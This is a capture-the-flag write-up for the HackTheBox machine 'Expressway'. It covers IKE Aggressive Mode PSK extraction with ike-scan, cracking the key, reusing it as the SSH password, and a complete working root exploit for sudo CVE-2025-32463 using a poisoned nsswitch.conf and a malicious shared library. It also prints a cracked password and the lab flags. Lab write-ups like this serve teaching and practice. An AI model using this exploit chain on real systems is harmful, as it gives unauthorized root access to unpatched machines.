Expressway

Platform: HackTheBox | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: credential_reuse_vpn_to_ssh, ike_aggressive_mode_psk_extraction, psk_dictionary_cracking, sudo_chroot_lpe_nsswitch_poisoning

Summary

Walkthrough of the HackTheBox Infrastructure Expressway. Task: HackTheBox medium machine with IPsec VPN (strongSwan) on UDP/500 and SSH. Solution: Extract PSK hash via IKE Aggressive Mode, crack it, reuse password for SSH access, then exploit CVE-2025-32463

Description

HackTheBox medium difficulty machine. Debian server with IPsec VPN (strongSwan) on UDP/500 and SSH on TCP/22. Initial access via PSK hash extraction from IKE Aggressive Mode and dictionary cracking, then password reuse for SSH. Privilege escalation through CVE-2025-32463 — a vulnerability in sudo 1.9.17 that allows loading an arbitrary shared library as root via nsswitch.conf substitution in a user-controlled chroot.

Reconnaissance

Port Scanning

Nmap discovered only 2 TCP ports:

• 22/tcp — SSH (OpenSSH 10.0p2 Debian)
• 53/tcp — unknown service (rabbit hole: connection establishes but any data causes "Network is down")

Key finding — UDP port 500 (IKE/ISAKMP):

 bash read-only • copy allowed Copy
nmap -sU -p 500 10.129.4.240
# 500/udp open isakmp

Analysis

IKE Enumeration

Probing the VPN service with ike-scan:

 bash read-only • copy allowed Copy
ike-scan 10.129.4.240

Result — IKEv1 Main Mode handshake with parameters:

• Encryption: 3DES
• Hash: SHA1
• DH Group: 2 (modp1024)
• Auth: PSK (Pre-Shared Key)
• XAUTH support
• Dead Peer Detection v1.0

Weak parameters (3DES + SHA1 + DH Group 2) and PSK authentication — classic vector for Aggressive Mode attack.

IKE Aggressive Mode — PSK Hash Extraction

IKEv1 Aggressive Mode transmits the PSK hash in cleartext (unlike Main Mode where identity is protected):

 bash read-only • copy allowed Copy
ike-scan --aggressive --id=vpn --pskcrack=ike_hash.txt 10.129.4.240

Server responded with Aggressive Mode handshake and revealed its identity:

• Server ID: ike@expressway.htb (ID_USER_FQDN)
• PSK hash saved to ike_hash.txt

PSK Cracking

 bash read-only • copy allowed Copy
psk-crack -d rockyou.txt ike_hash.txt

PSK: freakingrockstarontheroad

Solution

Step 1: User Access — SSH via Password Reuse

From IKE identity ike@expressway.htb extracted username ike. VPN PSK reused as SSH password:

 bash read-only • copy allowed Copy
sshpass -p 'freakingrockstarontheroad' ssh ike@10.129.4.240

Successful login as ike (uid=1001, groups: ike, proxy).

 bash read-only • copy allowed Copy
cat /home/ike/user.txt
# d92ebe2ef753a2414aff0ba42be769c6

Step 2: Enumeration for Privilege Escalation

Key findings on the server:

Step 3: CVE-2025-32463 — Sudo 1.9.17 Chroot LPE

Vulnerability: Sudo 1.9.17 allows an unprivileged user to use the -R flag (chroot) to specify an arbitrary root directory. When resolving paths, sudo performs chroot() to the specified directory and loads /etc/nsswitch.conf from there. If nsswitch.conf points to a malicious NSS library — it gets loaded as root.

• CVSS: 9.3
• Fixed in: sudo 1.9.17p1
• CISA KEV: yes (actively exploited)

Vulnerability check:

 bash read-only • copy allowed Copy
/usr/local/bin/sudo -R woot woot
# Vulnerable version: "sudo: woot: No such file or directory"
# Fixed version: "you are not permitted to use the -R option"

Exploitation:

 bash read-only • copy allowed Copy
# Create working directory
cd $(mktemp -d)

# Create fake chroot structure
mkdir -p woot/etc libnss_

# Create poisoned nsswitch.conf — points to our NSS library
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

# Write malicious shared library
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void w(void){
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  system("id; cat /root/root.txt");
}
EOF

# Compile as shared library
gcc -shared -fPIC -Wl,-init,w -o libnss_/woot1337.so.2 w.c

# Run sudo with our chroot — library gets loaded as root
/usr/local/bin/sudo -R woot woot

Result:

uid=0(root) gid=0(root) groups=0(root)
40efbdd162e3511d06a2dea9ee002ea0

Flags

User: d92ebe2ef753a2414aff0ba42be769c6
Root: 40efbdd162e3511d06a2dea9ee002ea0

Rabbit Holes

1. Port 53/tcp — looked like a DNS service in nmap, but connections established without data transfer ("Network is down"). Not a real DNS.

2. Exim 4.98.2 SUID (/usr/sbin/exim4) — SUID binary, but Exim immediately drops privileges to Debian-exim. The -be mode (expansion) runs as the calling user (euid=1001). CVE-2025-30232 (-dp UAF) didn't work — the -dp flag is not recognized in this build.

3. TFTP Cisco config (ciscortr.cfg) — contained VPN configuration and passwords (secret-password), but the information is not applicable for privilege escalation.

Key Takeaways / Lessons

• Mastering credential_reuse_vpn_to_ssh, ike_aggressive_mode_psk_extraction, psk_dictionary_cracking, sudo_chroot_lpe_nsswitch_poisoning was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-02-25 • HTB • Expressway • Difficulty: Easy